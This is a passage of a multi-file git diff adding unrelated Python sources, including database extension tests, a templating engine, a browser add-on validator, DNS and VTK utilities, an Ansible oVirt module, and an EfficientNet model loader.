def to_fastq (self): + return "@{}\n{}\n+\n{}\n".format(self.read.qname, self.read.seq, self.read.qual) diff --git a/pool/shard009/Python/0080623_test_collection_ops.py b/pool/shard009/Python/0080623_test_collection_ops.py new file mode 100644 index 0000000000000000000000000000000000000000..9cbd83e1f7e46ea4119b36027ebd7137a7f06f45 --- /dev/null +++ b/pool/shard009/Python/0080623_test_collection_ops.py @@ -0,0 +1,90 @@ +import testutils +import json +import psycopg2 + + +class TestBasics(testutils.BedquiltTestCase): + + def test_extension_presence(self): + result = self._query(""" + select * from pg_catalog.pg_extension + where extname = 'bedquilt'; + """) + + self.assertIsNotNone(result) + self.assertEqual(len(result), 1) + + row = result[0] + self.assertTrue(len(row) > 0) + self.assertEqual(row[0], 'bedquilt') + + def test_assert_version(self): + result = self._query(""" + select bq_util_assert_minimum_version('1.0.0'); + """) + self.assertEqual(result, [(True,)]) + + +class TestCreateCollection(testutils.BedquiltTestCase): + + def test_creating_a_new_collection(self): + # create a collection 'testone' + self.cur.execute("select bq_create_collection('testone')") + result = self.cur.fetchone() + + self.assertEqual(len(result), 1) + self.assertEqual(result[0], True) + + # create it again + self.cur.execute("select bq_create_collection('testone')") + result = self.cur.fetchone() + + self.assertEqual(len(result), 1) + self.assertEqual(result[0], False) + + +class TestListCollections(testutils.BedquiltTestCase): + + def test_list_collections_empty_instance(self): + + self.cur.execute("select bq_list_collections();") + result = self.cur.fetchone() + + self.assertIsNone(result) + + def test_list_four_collections(self): + self.cur.execute(""" + select bq_create_collection('c_one'); + select bq_create_collection('c_two'); + select bq_create_collection('c_three'); + select bq_create_collection('c_four'); + """, ) + + self.cur.execute("select bq_list_collections();") + result = self.cur.fetchall() + + self.assertIsNotNone(result) + + self.assertEqual(map(lambda e: e[0], result), + ['c_one', 'c_two', 'c_three', 'c_four']) + + +class TestDeleteCollection(testutils.BedquiltTestCase): + + def test_delete_non_existant_collection(self): + + self.cur.execute("select bq_delete_collection('one');") + result = self.cur.fetchone() + + self.assertEqual(len(result), 1) + self.assertEqual(result[0], False) + + def test_delete_collection(self): + + self.cur.execute("select bq_create_collection('one')") + + self.cur.execute("select bq_delete_collection('one');") + result = self.cur.fetchone() + + self.assertEqual(len(result), 1) + self.assertEqual(result[0], True) diff --git a/pool/shard009/Python/0080624_0003_auto_20200224_1836.py b/pool/shard009/Python/0080624_0003_auto_20200224_1836.py new file mode 100644 index 0000000000000000000000000000000000000000..a7db19f237e1c419e8124d3b558ec6c04747184c --- /dev/null +++ b/pool/shard009/Python/0080624_0003_auto_20200224_1836.py @@ -0,0 +1,21 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.11.28 on 2020-02-24 18:36 +from __future__ import unicode_literals + +from django.conf import settings +from django.db import migrations + + +class Migration(migrations.Migration): + + dependencies = [ + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ('external_user_ids', '0002_mb_coaching_20200210_1754'), + ] + + operations = [ + migrations.AlterUniqueTogether( + name='externalid', + unique_together=set([('user', 'external_id_type')]), + ), + ] diff --git a/pool/shard009/Python/0080625_templite.py b/pool/shard009/Python/0080625_templite.py new file mode 100644 index 0000000000000000000000000000000000000000..73137b9bc36e4083b6a58623fc31cd0c401e2c6e --- /dev/null +++ b/pool/shard009/Python/0080625_templite.py @@ -0,0 +1,228 @@ +#!/usr/bin/env python +# +# Templite+ +# A light-weight, fully functional, general purpose templating engine +# +# Copyright (c) 2009 joonis new media +# Author: Thimo Kraemer +# +# Based on Templite - Tomer Filiba +# http://code.activestate.com/recipes/496702/ +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, +# MA 02110-1301, USA. +# + +import sys, re + +class Templite(object): + auto_emit = re.compile('(^[\'\"])|(^[a-zA-Z0-9_\[\]\'\"]+$)') + + def __init__(self, template, start='${', end='}$'): + if len(start) != 2 or len(end) != 2: + raise ValueError('each delimiter must be two characters long') + delimiter = re.compile('%s(.*?)%s' % (re.escape(start), re.escape(end)), re.DOTALL) + offset = 0 + tokens = [] + for i, part in enumerate(delimiter.split(template)): + part = part.replace('\\'.join(list(start)), start) + part = part.replace('\\'.join(list(end)), end) + if i % 2 == 0: + if not part: continue + part = part.replace('\\', '\\\\').replace('"', '\\"') + part = '\t' * offset + 'emit("""%s""")' % part + else: + part = part.rstrip() + if not part: continue + if part.lstrip().startswith(':'): + if not offset: + raise SyntaxError('no block statement to terminate: ${%s}$' % part) + offset -= 1 + part = part.lstrip()[1:] + if not part.endswith(':'): continue + elif self.auto_emit.match(part.lstrip()): + part = 'emit(%s)' % part.lstrip() + lines = part.splitlines() + margin = min(len(l) - len(l.lstrip()) for l in lines if l.strip()) + part = '\n'.join('\t' * offset + l[margin:] for l in lines) + if part.endswith(':'): + offset += 1 + tokens.append(part) + if offset: + raise SyntaxError('%i block statement(s) not terminated' % offset) + self.__code = compile('\n'.join(tokens), '' % template[:20], 'exec') + + def render(self, __namespace=None, **kw): + """ + renders the template according to the given namespace. + __namespace - a dictionary serving as a namespace for evaluation + **kw - keyword arguments which are added to the namespace + """ + namespace = {} + if __namespace: namespace.update(__namespace) + if kw: namespace.update(kw) + namespace['emit'] = self.write + + __stdout = sys.stdout + sys.stdout = self + self.__output = [] + eval(self.__code, namespace) + sys.stdout = __stdout + return ''.join(self.__output) + + def write(self, *args): + for a in args: + self.__output.append(str(a)) + + +if __name__ == '__main__': + + template = r""" +This we already know: + + + ${ + def say_hello(arg): + emit("hello ", arg, "
") + }$ + + + ${ + for i in range(10): + emit("\n") + }$ +
") + say_hello(i) + emit("
+ + ${emit("hi")}$ + + tralala ${if x > 7: + say_hello("big x")}$ lala + + $\{this is escaped starting delimiter + + ${emit("this }\$ is an escaped ending delimiter")}$ + + ${# this is a python comment }$ + + + + +But this is completely new: +${if x > 7:}$ + x is ${emit('greater')}$ than ${print x-1}$ Well, the print statement produces a newline. +${:else:}$ + This terminates the previous code block and starts an else code block + Also this would work: $\{:end}\$$\{else:}\$, but not this: $\{:end}\$ $\{else:}\$ +${:this terminates the else-block +only the starting colon is essential}$ + +So far you had to write: +${ + if x > 3: + emit(''' + After a condition you could not continue your template. + You had to write pure python code. + The only way was to use %%-based substitutions %s + ''' % x) +}$ + +${if x > 6:}$ + Now you do not need to break your template ${print x}$ +${:elif x > 3:}$ + This is great +${:endif}$ + +${for i in range(x-1):}$ Of course you can use any type of block statement ${i}$ ${"fmt: %s" % (i*2)}$ +${:else:}$ +Single variables and expressions starting with quotes are substituted automatically. +Instead $\{emit(x)}\$ you can write $\{x}\$ or $\{'%s' % x}\$ or $\{"", x}\$ +Therefore standalone statements like break, continue or pass +must be enlosed by a semicolon: $\{continue;}\$ +The end +${:end-for}$ +""" + + t = Templite(template) + print((t.render(x=8))) + + + # Output is: + """ +This we already know: + + + + + + + + + + + + + + + + +
hello 0
hello 1
hello 2
hello 3
hello 4
hello 5
hello 6
hello 7
hello 8
hello 9
+ + hi + + tralala hello big x
lala + + ${this is escaped starting delimiter + + this }$ is an escaped ending delimiter + + + + + + +But this is completely new: + + x is greater than 7 + Well, the print statement produces a newline. + + +So far you had to write: + + After a condition you could not continue your template. + You had to write pure python code. + The only way was to use %-based substitutions 8 + + + + Now you do not need to break your template 8 + + + + Of course you can use any type of block statement 0 fmt: 0 + Of course you can use any type of block statement 1 fmt: 2 + Of course you can use any type of block statement 2 fmt: 4 + Of course you can use any type of block statement 3 fmt: 6 + Of course you can use any type of block statement 4 fmt: 8 + Of course you can use any type of block statement 5 fmt: 10 + Of course you can use any type of block statement 6 fmt: 12 + +Single variables and expressions starting with quotes are substituted automatically. +Instead ${emit(x)}$ you can write ${x}$ or ${'%s' % x}$ or ${"", x}$ +Therefore standalone statements like break, continue or pass +must be enlosed by a semicolon: ${continue;}$ +The end +""" diff --git a/pool/shard009/Python/0080626_instanceactions.py b/pool/shard009/Python/0080626_instanceactions.py new file mode 100644 index 0000000000000000000000000000000000000000..e179b284de3a970cb5f49eded0c6877f998bf02b --- /dev/null +++ b/pool/shard009/Python/0080626_instanceactions.py @@ -0,0 +1,264 @@ +""" +Prototype +--------- + +args + the raw list of arguments +traverser + the traverser +node + the current node being evaluated +""" + +import types + +import actions +from validator.compat import FX10_DEFINITION, FX14_DEFINITION +from validator.constants import BUGZILLA_BUG +from jstypes import * +from instanceproperties import _set_HTML_property + + +def addEventListener(args, traverser, node, wrapper): + """ + Handle calls to addEventListener and make sure that the fourth argument is + falsey. + """ + + if not args or len(args) < 4: + return + + fourth_arg = traverser._traverse_node(args[3]) + if fourth_arg.get_literal_value(): + traverser.err.notice( + err_id=("js", "instanceactions", "addEventListener_fourth"), + notice="`addEventListener` called with truthy fourth argument.", + description="A falsey fourth argument indicates code that " + "accesses untrusted code. This code should be " + "further investigated.", + filename=traverser.filename, + line=traverser.line, + column=traverser.position, + context=traverser.context) + + +def createElement(args, traverser, node, wrapper): + """Handles createElement calls""" + + if not args: + return + + simple_args = map(traverser._traverse_node, args) + + first_as_str = actions._get_as_str(simple_args[0].get_literal_value()) + if first_as_str.lower() == u"script": + _create_script_tag(traverser) + elif not simple_args[0].is_literal(): + _create_variable_element(traverser) + + +def createElementNS(args, traverser, node, wrapper): + """Handles createElementNS calls""" + + if not args or len(args) < 2: + return + + simple_args = map(traverser._traverse_node, args) + + second_as_str = actions._get_as_str(simple_args[1].get_literal_value()) + if "script" in second_as_str.lower(): + _create_script_tag(traverser) + elif not simple_args[1].is_literal(): + _create_variable_element(traverser) + + +def QueryInterface(args, traverser, node, wrapper): + """Handles QueryInterface calls""" + + if not args: + return + + from call_definitions import xpcom_constructor + return xpcom_constructor("QueryInterface", True, True)( + wrapper=node, + arguments=args, + traverser=traverser) + +def getInterface(args, traverser, node, wrapper): + """Handles getInterface calls""" + + # This really only needs to be handled for nsIInterfaceRequestor + # intarfaces, but as it's fair for code to assume that that + # interface has already been queried and methods with this name + # are unlikely to behave differently, we just process it for all + # objects. + + if not args: + return + + from call_definitions import xpcom_constructor + return xpcom_constructor("getInterface")( + wrapper=node, + arguments=args, + traverser=traverser) + +def _create_script_tag(traverser): + """Raises a warning that the dev is creating a script tag""" + traverser.err.warning( + err_id=("testcases_javascript_instanceactions", "_call_expression", + "called_createelement"), + warning="createElement() used to create script tag", + description="The createElement() function was used to create a script " + "tag in a JavaScript file. Add-ons are not allowed to " + "create script tags or load code dynamically from the " + "web.", + filename=traverser.filename, + line=traverser.line, + column=traverser.position, + context=traverser.context) + + +def _create_variable_element(traverser): + """Raises a warning that the dev is creating an arbitrary element""" + traverser.err.warning( + err_id=("testcases_javascript_instanceactions", "_call_expression", + "createelement_variable"), + warning="Variable element type being created", + description=["createElement or createElementNS were used with a " + "variable rather than a raw string. Literal values should " + "be used when taking advantage of the element creation " + "functions.", + "E.g.: createElement('foo') rather than " + "createElement(el_type)"], + filename=traverser.filename, + line=traverser.line, + column=traverser.position, + context=traverser.context) + + +def setAttribute(args, traverser, node, wrapper): + """This ensures that setAttribute calls don't set on* attributes""" + + if not args: + return + + simple_args = [traverser._traverse_node(a) for a in args] + + first_as_str = actions._get_as_str(simple_args[0].get_literal_value()) + if first_as_str.lower().startswith("on"): + traverser.err.notice( + err_id=("testcases_javascript_instanceactions", "setAttribute", + "setting_on*"), + notice="on* attribute being set using setAttribute", + description="To prevent vulnerabilities, event handlers (like " + "'onclick' and 'onhover') should always be defined " + "using addEventListener.", + filename=traverser.filename, + line=traverser.line, + column=traverser.position, + context=traverser.context) + + +def nsIDOMFile_deprec(args, traverser, node, wrapper): + """A wrapper for call_definitions.nsIDOMFile_deprec.""" + from call_definitions import nsIDOMFile_deprec as cd_nsIDOMFile_deprec + cd_nsIDOMFile_deprec(None, [], traverser) + + +def insertAdjacentHTML(args, traverser, node, wrapper): + """ + Perfrom the same tests on content inserted into the DOM via + insertAdjacentHTML as we otherwise would for content inserted via the + various innerHTML/outerHTML properties. + """ + if not args or len(args) < 2: + return + + content = traverser._traverse_node(args[1]) + _set_HTML_property("insertAdjacentHTML", content, traverser) + + +def isSameNode(args, traverser, node, wrapper): + """Raise an error when an add-on uses node.isSameNode(foo).""" + traverser.err.error( + err_id=("testcases_javascript_instanceactions", "isSameNode"), + error="isSameNode function has been removed in Gecko 10.", + description='The "isSameNode" function has been removed. You can use ' + 'the === operator as an alternative. See %s for more ' + 'information.' % BUGZILLA_BUG % 687400, + filename=traverser.filename, + line=traverser.line, + column=traverser.position, + context=traverser.context, + for_appversions=FX10_DEFINITION, + compatibility_type="error", + tier=5) + + +def openDialog(args, traverser, node, wrapper): + """Raise an error if the first argument is a remote URL.""" + if not args: + return + uri = traverser._traverse_node(args[0]) + from call_definitions import open_in_chrome_context + open_in_chrome_context(uri, "openDialog", traverser) + + +def replaceWholeText(args, traverser, node, wrapper): + """Raise an error when an add-on uses node.replaceWholeText(foo).""" + traverser.err.error( + err_id=("testcases_javascript_instanceactions", "replaceWholeText"), + error="replaceWholeText function has been removed in Gecko 10.", + description='The "replaceWholeText" function has been removed. See ' + '%s for more information.' % BUGZILLA_BUG % 683482, + filename=traverser.filename, + line=traverser.line, + column=traverser.position, + context=traverser.context, + for_appversions=FX10_DEFINITION, + compatibility_type="error", + tier=5) + + +def PageMod(args, traverser, node, wrapper): + """ + This is the function that is called in Jetpack to modify the contents of a + page with a "content script". This function needs to analyze he first + parameter. If it is an object and if that object contains a "contentScript" + string, that string needs to be passed to the validator.testcases.scripting + library for testing as its own JS script file. + """ + + if not args: + return + + pm_properties = traverser._traverse_node(args[0]) + if not pm_properties.has_property("contentScript"): + return + + content_script = pm_properties.get(traverser, "contentScript") + if not content_script.is_literal(): + return + content_script = actions._get_as_str(content_script.get_literal_value()) + if not content_script.strip(): + return + + import validator.testcases.scripting as sub_scripting + sub_scripting.test_js_file( + traverser.err, traverser.filename, content_script, + line=traverser.line, context=traverser.context) + + +INSTANCE_DEFINITIONS = {"addEventListener": addEventListener, + "createElement": createElement, + "createElementNS": createElementNS, + "getAsBinary": nsIDOMFile_deprec, + "getAsDataURL": nsIDOMFile_deprec, + "getInterface": getInterface, + "insertAdjacentHTML": insertAdjacentHTML, + "isSameNode": isSameNode, + "openDialog": openDialog, + "PageMod": PageMod, + "QueryInterface": QueryInterface, + "replaceWholeText": replaceWholeText, + "setAttribute": setAttribute} diff --git a/pool/shard009/Python/0080633_member_event.py b/pool/shard009/Python/0080633_member_event.py new file mode 100644 index 0000000000000000000000000000000000000000..d1843edab3e4881c45cd8f7f1307259d9727b04a --- /dev/null +++ b/pool/shard009/Python/0080633_member_event.py @@ -0,0 +1,19 @@ +import logging +from five import grok +from zope import schema +from plone.directives import dexterity, form +from plone.dexterity.content import Container + +from vfu.events import MessageFactory as _ + + +class IVFUMemberEvent(form.Schema): + """ + Event info + """ + + available = schema.Bool(title=_(u'Available'), required=False, default=True) + +class VFUMemberEvent(Container): + grok.implements(IVFUMemberEvent) + diff --git a/pool/shard009/Python/0080644_file_loader.py b/pool/shard009/Python/0080644_file_loader.py new file mode 100644 index 0000000000000000000000000000000000000000..abb2473b411345554285b2d47fc6e95229d20b67 --- /dev/null +++ b/pool/shard009/Python/0080644_file_loader.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python3 +''' +Load resource records from a text file. +''' + +import os +import sys +import ipaddress + +import dnsmgr_util as util + +allowed_chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-." + + +class Loader: + """ + Load records from a file + """ + + def __init__(self): + self.reverse4 = True + self.reverse6 = True + + def _get_boolean(self, value): + value = value.lower() + if value.lower() not in ['on', 'off', 'true', 'false', '1', '0', 't', 'f', 'yes', 'no']: + raise ValueError('Invalid value %s, should be ON or OFF' % tmp[1]) + return value in ['on', 'true', '1', 't', 'yes'] + + def load(self, filename=None, records=None): + """ + Read all records from the records file + + filename: file to read + records: where to store loaded records + + Empty lines and comments starting with # or ; is ignored + + recursive function, to handle $INCLUDE to other files + """ + self.domain = os.path.basename(filename) + for line in open(filename, "r"): + line = line.rstrip() + if line == "" or line[0] == "#" or line[0] == ";": + continue + if line[0] == "$": + tmp = line.split(None, 2) + if len(tmp) < 2: + raise ValueError("Invalid $ syntax: %s" % line) + + elif tmp[0] == "$DOMAIN": + self.domain = tmp[1] + + elif tmp[0] == "$INCLUDE": + self.load(filename=tmp[1]) + + elif tmp[0] == "$REVERSE": + self.reverse4 = self._get_boolean(tmp[1]) + self.reverse6 = self.reverse4 + + elif tmp[0] == "$REVERSE4": + self.reverse4 = self._get_boolean(tmp[1]) + + elif tmp[0] == "$REVERSE6": + self.reverse6 = self._get_boolean(tmp[1]) + + else: + raise ValueError("Invalid command %s" % tmp[0]) + continue + + mac_address = None + reverse = None + + # Try to find options, end of line, starting with a ; + p = line.rfind(';') + if p >= 0: + line, tmp, options = line.rpartition(';') + for opt in options.split(' '): + key,tmp,val=opt.partition("=") + if key == 'mac': + mac_address = val + elif key == 'reverse': + reverse = self._get_boolean(val) + + tmp = line.split(None, 3) + if len(tmp) < 2: + raise ValueError("Invalid syntax: %s" % line) + + name = tmp.pop(0) + if name != "@" and not util.verify_dnsname(name): + raise ValueError("Invalid name: %s in %s" % (name, line)) + + if tmp[0].isdigit(): + ttl = tmp.pop(0) + else: + ttl = "" + typ = tmp.pop(0).upper() + value = tmp.pop(0) + if typ == "A": + value = ipaddress.IPv4Address(value) + elif typ == "AAAA": + value = ipaddress.IPv6Address(value) + elif typ not in ["CNAME", "MX", "NS", "PTR", "SRV", "SSHFP", "TLSA", "TSIG", "TXT"]: + raise ValueError("Invalid type: %s in %s" % (typ, line)) + + if reverse is None: + if typ == 'A': + reverse = self.reverse4 + elif typ == 'AAAA': + reverse = self.reverse6 + + record = util.Record(domain=self.domain, + ttl=ttl, + name=name, + typ=typ, + value=value, + mac_address=mac_address, + reverse=reverse, + ) + records.add(record) + + +def main(): + """ + Function test + """ + import argparse + + parser = argparse.ArgumentParser() + parser.add_argument('--file', + default='/etc/dnsmgr/records', + ) + args = parser.parse_args() + + if not os.path.isfile(args.file): + util.die("Cannot find file %s" % args.file) + + loader = Loader() + records = util.Records() + loader.load(filename=args.file, records=records) + + for record in records: + print(record) + + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0080654_compareResult.py b/pool/shard009/Python/0080654_compareResult.py new file mode 100644 index 0000000000000000000000000000000000000000..24f8c31d2d3ca6df1cce0e11dc6bca5ac5878978 --- /dev/null +++ b/pool/shard009/Python/0080654_compareResult.py @@ -0,0 +1,172 @@ +accuracy = 1e-8 + +class Cell: + def __init__(self, vtkCell, bounds, q): + self.vtkCell = vtkCell + self.bounds = bounds + self.q = q + + def __eq__(self, other): + global accuracy + if abs(self.q - other.q) > accuracy: + return false + + if len(sel.bounds) != len(other.bounds): + return false + + for i in xrange(len(self.bounds)): + if abs(self.bounds[i] - other.bounds[i]) > accuracy: + return false + + return true + + def __cmp__(self, other): + global accuracy + if self.q - other.q > accuracy: + return 1 + elif other.q - self.q > accuracy: + return -1 + + if len(self.bounds) != len(other.bounds): + return false + + for i in xrange(len(self.bounds)): + if self.bounds[i] - other.bounds[i] > accuracy: + return 1 + elif other.bounds[i] - self.bounds[i] > accuracy: + return -1 + + return 0 + + def __str__(self): + return "q: " + str(self.q) + " bounds: " + str(self.bounds) + +def parseRange(argument): + if ':' in argument: + return range(*map(int, argument.split(':'))) + return range(int(argument), int(argument)+1) + +def readCellsFromFile(cells, path, iteration, rank): + import vtk + import os.path + filename = path.replace('__ITERATION__', str(iteration)).replace('__RANK__', str(rank)) + + if os.path.exists(filename): + reader = vtk.vtkDataSetReader() + reader.SetFileName(filename) + reader.SetReadAllScalars(True) + reader.Update() + + grid = reader.GetOutput() + + numberOfCells = grid.GetNumberOfCells() + cellData = grid.GetCellData() + qs = cellData.GetScalars("q0") + + for cellId in xrange(numberOfCells): + vtkCell = grid.GetCell(cellId) + + q = qs.GetTuple(cellId)[0] + cells.append(Cell(vtkCell, vtkCell.GetBounds()[:], q)) + + return numberOfCells + else: + return 0 + + +def findClosestMatch(cell, cells): + bestIndex = -1 + minDistance = 1000000 + import math + for index in xrange(len(cells)): + c = cells[index] + distance = 0 + for i in xrange(len(cell.bounds)): + distance += (cell.bounds[i] - c.bounds[i])**2 + distance = math.sqrt((c.q - cell.q)**2 * 10 + distance) + + if distance < minDistance: + minDistance = distance + bestIndex = index + return bestIndex + +def findCellInList(cell, cells): + lower = 0 + upper = len(cells) + + while(upper > lower): + middle = (upper + lower) / 2 + middleCell = cells[middle] + if middleCell < cell: + lower = middle + 1 + elif middleCell > cell: + upper = middle + else: + return middle + + return -1 + +def main(): + from argparse import ArgumentParser + parser = ArgumentParser(description='Tool for comparing vtk output of parallel runs.') + parser.add_argument('path1', help='The path to the first set of vtk files. Use __ITERATION__ for iteration number and __RANK__ for rank number.') + parser.add_argument('path2', help='The path to the second set of vtk files. Use __ITERATION__ for iteration number and __RANK__ for rank number.') + parser.add_argument('iteration1', type=int, help='The iteration number of the first set of vtk files.') + parser.add_argument('ranks1', help='The range of ranks for the first set of vtk files. Define single number or min:max.') + parser.add_argument('iteration2', type=int, help='The iteration number of the second set of vtk files.') + parser.add_argument('ranks2', help='The range of ranks for the second set of vtk files. Define single number or min:max.') + parser.add_argument('accuracy', help='The accuracy for numerical equality.', type=float, nargs='?', const='1e-5') + arguments = parser.parse_args() + + global accuracy + accuracy = arguments.accuracy + if arguments.path2 == 'SameAsPath1': + path2 = arguments.path1 + else: + path2 = arguments.path2 + + #Loop through ranks1 + cells1 = [] #set() + ranks1 = parseRange(arguments.ranks1) + for rank in ranks1: + print "1: Parsing rank...", rank + numberOfCells = readCellsFromFile(cells1, arguments.path1, arguments.iteration1, rank) + print "Read", numberOfCells, "cells." + print "1: Total number of cells:", len(cells1) + + #Loop through ranks2 + cells2 = [] #set() + ranks2 = parseRange(arguments.ranks2) + + print ranks2 + + for rank in ranks2: + print "2: Parsing rank", rank + numberOfCells = readCellsFromFile(cells2, path2, arguments.iteration2, rank) + print "Read", numberOfCells, "cells." + print "2: Total number of cells:", len(cells2) + + #Compare lists + if len(cells1) != len(cells2): + raise Exception("Number of cells do not match!") + + cells1.sort() + cells2.sort() + + for cell in cells1: + index = findCellInList(cell, cells2) + + if index == -1: + bestMatch = findClosestMatch(cell, cells2) + if bestMatch == -1: + bestMatchString = "" + else: + bestMatchString = "Best match is " + str(cells2[bestMatch]) + raise Exception("No matching cell for " + str(cell) + ". " + bestMatchString) + else: + del cells2[index] + + print "All cells match" + +if __name__=="__main__": + main() diff --git a/pool/shard009/Python/0080657_ovirt_users.py b/pool/shard009/Python/0080657_ovirt_users.py new file mode 100644 index 0000000000000000000000000000000000000000..df408e18b3e616eec05fb7e378f5fe26906ebd5b --- /dev/null +++ b/pool/shard009/Python/0080657_ovirt_users.py @@ -0,0 +1,169 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +# +# Copyright (c) 2016 Red Hat, Inc. +# +# This file is part of Ansible +# +# Ansible is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Ansible is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Ansible. If not, see . +# + +ANSIBLE_METADATA = {'status': ['preview'], + 'supported_by': 'community', + 'version': '1.0'} + +DOCUMENTATION = ''' +--- +module: ovirt_users +short_description: Module to manage users in oVirt +version_added: "2.3" +author: "Ondra Machacek (@machacekondra)" +description: + - "Module to manage users in oVirt." +options: + name: + description: + - "Name of the the user to manage. In most LDAPs it's I(uid) of the user, but in Active Directory you must specify I(UPN) of the user." + required: true + state: + description: + - "Should the user be present/absent." + choices: ['present', 'absent'] + default: present + authz_name: + description: + - "Authorization provider of the user. In previous versions of oVirt known as domain." + required: true + aliases: ['domain'] +extends_documentation_fragment: ovirt +''' + +EXAMPLES = ''' +# Examples don't contain auth parameter for simplicity, +# look at ovirt_auth module to see how to reuse authentication: + +# Add user user1 from authorization provider example.com-authz +ovirt_users: + name: user1 + domain: example.com-authz + +# Add user user1 from authorization provider example.com-authz +# In case of Active Directory specify UPN: +ovirt_users: + name: user1@ad2.example.com + domain: example.com-authz + +# Remove user user1 with authorization provider example.com-authz +ovirt_users: + state: absent + name: user1 + authz_name: example.com-authz +''' + +RETURN = ''' +id: + description: ID of the user which is managed + returned: On success if user is found. + type: str + sample: 7de90f31-222c-436c-a1ca-7e655bd5b60c +user: + description: "Dictionary of all the user attributes. User attributes can be found on your oVirt instance + at following url: https://ovirt.example.com/ovirt-engine/api/model#types/user." + returned: On success if user is found. +''' + +import traceback + +try: + import ovirtsdk4.types as otypes +except ImportError: + pass + +from ansible.module_utils.basic import AnsibleModule +from ansible.module_utils.ovirt import ( + BaseModule, + check_sdk, + check_params, + create_connection, + ovirt_full_argument_spec, +) + + +def username(module): + return '{}@{}'.format(module.params['name'], module.params['authz_name']) + + +class UsersModule(BaseModule): + + def build_entity(self): + return otypes.User( + domain=otypes.Domain( + name=self._module.params['authz_name'] + ), + user_name=username(self._module), + principal=self._module.params['name'], + namespace=self._module.params['namespace'], + ) + + +def main(): + argument_spec = ovirt_full_argument_spec( + state=dict( + choices=['present', 'absent'], + default='present', + ), + name=dict(required=True), + authz_name=dict(required=True, aliases=['domain']), + namespace=dict(default=None), + ) + module = AnsibleModule( + argument_spec=argument_spec, + supports_check_mode=True, + ) + check_sdk(module) + check_params(module) + + try: + auth = module.params.pop('auth') + connection = create_connection(auth) + users_service = connection.system_service().users_service() + users_module = UsersModule( + connection=connection, + module=module, + service=users_service, + ) + + state = module.params['state'] + if state == 'present': + ret = users_module.create( + search_params={ + 'usrname': username(module), + } + ) + elif state == 'absent': + ret = users_module.remove( + search_params={ + 'usrname': username(module), + } + ) + + module.exit_json(**ret) + except Exception as e: + module.fail_json(msg=str(e), exception=traceback.format_exc()) + finally: + connection.close(logout=auth.get('token') is None) + + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0080661_efficientnet_variants.py b/pool/shard009/Python/0080661_efficientnet_variants.py new file mode 100644 index 0000000000000000000000000000000000000000..735d8aa1b94ff44e7338614d3957652b2d711702 --- /dev/null +++ b/pool/shard009/Python/0080661_efficientnet_variants.py @@ -0,0 +1,135 @@ +# coding=utf-8 +# Copyright 2022 The Robustness Metrics Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# Lint as: python3 +"""EfficientNet models pre-trained with different training protocols. + +EfficientNet: https://arxiv.org/abs/1905.11946 +AutoAugment: https://arxiv.org/abs/1805.09501 +Adv-Prop: https://arxiv.org/abs/1911.09665 +Noisy Student: https://arxiv.org/abs/1911.04252 + +This code uses TF-Hub modules derived from the checkpoints at + +https://github.com/tensorflow/tpu/tree/4572efe4a9f709d01dbee85f948218af8b05a36c/models/official/efficientnet +""" + +from robustness_metrics.common import pipeline_builder +import tensorflow as tf +import tensorflow.compat.v1 as tf1 +import tensorflow_hub as hub + +CROP_PADDING = 32 +EFFICIENTNET_RESOLUTIONS = { + "b0": 224, + "b1": 240, + "b2": 260, + "b3": 300, + "b4": 380, + "b5": 456, + "b6": 528, + "b7": 600, + "l2": 800, + "l2_475": 475, +} + +GS_ROOT = "gs://cloud-tpu-checkpoints/efficientnet/tfhub" +MODEL_PATHS = { + # EfficientNet trained on ImageNet. + "std": GS_ROOT + "/base/efficientnet-b{}", + # EfficientNet trained on ImageNet with AutoAugment. + "aa": GS_ROOT + "/aa/efficientnet-b{}", + # EfficientNet trained on ImageNet with Adv-Prop. + "adv-prop": GS_ROOT + "/adv/efficientnet-b{}", + # EfficientNet trained on ImageNet/JFT with the Noisy Student protocol. + "noisy-student": GS_ROOT + "/ns/efficientnet-b{}", +} + + + +def create(model_size="b0", variant="std", resolution=None): + """Create EfficientNet models with corresponding preprocessing operations.""" + + if variant not in ("std", "aa", "adv-prop", "noisy-student"): + raise ValueError(f"EfficientNet variant not supported: {variant}") + + # Note that for the standard EfficientNet variant only B0-B5 architectures are + # supported, B0-B7 for all other variants. Noisy-Student also supports L2 + # and L2_475 (with a resolution of 475). + valid = (variant == "std" and model_size in {f"b{i}" for i in range(6)}) or \ + (variant != "std" and model_size in {f"b{i}" for i in range(8)}) or \ + (variant == "noisy-student" and model_size in ("l2", "l2_475")) + if not valid: + raise ValueError( + f"Invalid `model_size` {model_size!r} for EfficientNet `variant` " + f"{variant!r}!") + + if model_size.startswith("l2"): + noisy_student = hub.KerasLayer(MODEL_PATHS[variant + "-l2"].format( + model_size)) + else: + noisy_student = hub.KerasLayer(MODEL_PATHS[variant].format(model_size)) + + @tf.function + def model(features): + images = features["image"] + return tf.nn.softmax(noisy_student(images), axis=-1) + + def preprocess_fn(features): + # EfficientNet preprocessing with model-dependent input resolution. + # Preprocessing mimicks that of the public EfficientNet code from + # https://github.com/tensorflow/tpu/blob/master/models/official/efficientnet/preprocessing.py + # (both 